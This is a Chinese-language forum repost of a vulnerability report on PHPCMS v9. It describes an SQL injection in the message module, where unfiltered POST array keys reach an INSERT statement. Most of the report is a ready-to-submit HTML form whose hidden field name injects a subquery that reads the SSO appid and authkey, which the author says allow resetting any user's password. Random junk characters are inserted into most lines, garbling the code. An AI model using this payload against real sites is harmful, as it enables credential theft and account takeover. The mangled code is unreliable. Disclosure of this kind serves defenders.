|
|
简要描述:7 S- z: A4 K0 t4 m2 v. ^$ k) X& D5 o
o; d, E- v9 L* u$ k第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
; ~2 V$ [2 E# e0 _2 Q% L/ U$ Z1 e. `
明天再更新下一个漏洞。3 e- J3 A* H# k- ]+ p
详细说明:
$ F0 N" o4 _- L0 `在/phpcms9/phpcms/modules/message/index.php中有代码如下:! ?7 E4 \) ^/ Q7 y$ a
# I* |3 W M9 U7 m1 c, X! l1 J9 `$messageid = $this->message_db->insert($_POST['info'],true);* u1 H/ [- Z7 U |
5 X. @# G( v" Y% K, W) w# k8 `9 B/ Z- {0 e: T' a& L4 A1 z$ s
insert方法是key value的,代码如下:
9 U' F* @/ `' c' V/ }5 ~1 D- z8 v3 M$ i
public function insert($data, $table, $return_insert_id = false, $replace = false) {
5 ?4 l- x+ `" j& s/ g* X+ \ if(!is_array( $data ) || $table == '' || count($data) == 0) {
( K8 g) B* [: d/ Z3 t5 W return false;5 G2 r! D1 ?1 D5 R. W% Z' O/ {
}8 g+ @& o1 ~( F: C) M: L
- J( g7 I! s0 ^ $fielddata = array_keys($data);
! {' q. L3 d2 J7 l8 _+ e $valuedata = array_values($data);9 u- u$ l! x5 Q! t/ ^
array_walk($fielddata, array($this, 'add_special_char'));& R2 j! y' K5 W, L" G
array_walk($valuedata, array($this, 'escape_string'));
& u* R1 a9 B& S/ ^0 n( j2 M
, u; w9 t6 i1 ?; F& m $field = implode (',', $fielddata);7 @% u3 ^" u3 x) ]1 s: M$ R9 D
$value = implode (',', $valuedata);
- \2 I" u+ T6 w0 ^+ z) J7 c! i! n/ Y7 c1 R0 `7 S! @' b
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';' B! W0 O1 V# C9 i
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ X( C+ |8 T t. D7 O% {: i $return = $this->execute($sql);
' [* K3 v1 L1 @' P6 e return $return_insert_id ? $this->insert_id() : $return;
, a) R- J: s9 ~4 e }- \; O- v6 t7 {3 m: n: R
+ N& W, k- G( }7 D
% n+ i1 p" \# b( o4 y
嗯,很遗憾的是
( ?# U' f, G. e+ {& V4 T9 H) }- ]" Y7 L6 R) m+ k8 Y
array_walk($fielddata, array($this, 'add_special_char'));
. O! \. U/ {( Z# }( A- \# _3 M7 S \$ A8 F3 [ }
! W" S. d% Y3 _" T4 H7 c中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# w- \& u* l9 ]& M. x$ }
4 v k4 K5 R* R- Q, B7 {
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
% a; y- Q6 b) s% n* x7 t
! B- O0 D+ f2 q: c漏洞证明: F% T. S% E# C4 N
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
* u1 a5 u- ~7 r* [# D$ K( [. e) O/ L
: z- z8 q4 w4 P% \% S2 F. s+ W表单如下:用户名什么的得自己改一改。
# ~- ?4 \1 n/ l<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">3 o0 G# K/ }3 N5 e( t) ^1 g
<table width="100%" cellspacing="0" class="table_form">
5 c" d' j% F% h( y% T. n, T<tr>
, j8 X5 F5 n* w* B5 Z<th>标 题:</th># N. i8 u. h8 x0 } S( B, x7 W
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>$ v5 `" A7 ^, i! L* w8 a8 x" J
</tr> ! l8 P7 d. {0 q
<tr>4 p; ]4 v7 r! s& c2 t
<th>内 容:</th>
' q# v0 t1 V( S; p# p* E/ X<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>& C$ f& c. A7 z# V+ c( a8 \
</tr>3 i- k+ v( z% T9 I! \( s* J7 s- h
<input type="hidden" name="info[replyid]" value="2" /> 6 K; A, I) e% B& r2 z) Q
<input type="hidden" name="info[send_to_id]" value="cc" /> 8 o- a$ X4 [8 o" Y; z
<input type="hidden" name="info[send_from_id]" value="hh">
- v/ Z4 Z3 R/ L, x2 Q" P( v4 E<!-- 漏洞的利用重点在这里开始 -->; K/ V, ^: M0 T8 v7 n9 Y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> : h' E5 e7 Z/ b1 D$ k
<!-- 漏洞的利用重点在这里结束 -->
& d8 ~' ]* b1 G( Y<tr>3 _- ]6 ^/ }/ n8 D! E: v# y2 i
<th>验证码:</th>
. y" }& }$ ^% C' N7 ~5 d<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
+ c# d6 o$ @4 h3 V8 @" ^2 i6 G/ B</tr>3 j) @& T/ U' s5 S
<tr>9 H1 R1 `- t; A7 ?4 M" I! X2 T
<td></td>
" c7 T9 @; O% h% U<td colspan="2"><label>1 w, o- }; A( H. E! Q) z
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# t7 _4 n+ s. |6 T% o/ j</label></td>1 ?) z6 Y2 f& O' h/ l+ Y8 J
</tr>8 i$ V$ _# x7 `$ [0 O
</table>% p. m# v3 ?- R- Z9 j, H2 ]
</form>1 I8 o4 D3 r* k- j# T( c( h ?
在add_special_char函数内对key做过滤就可以了。$ r4 H8 \; J. h7 e2 X9 s3 X) w
% p+ i& C( A8 J# ?6 X5 @
- v( l. `7 E! l1 p4 Q% \' M1 I( r& \
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|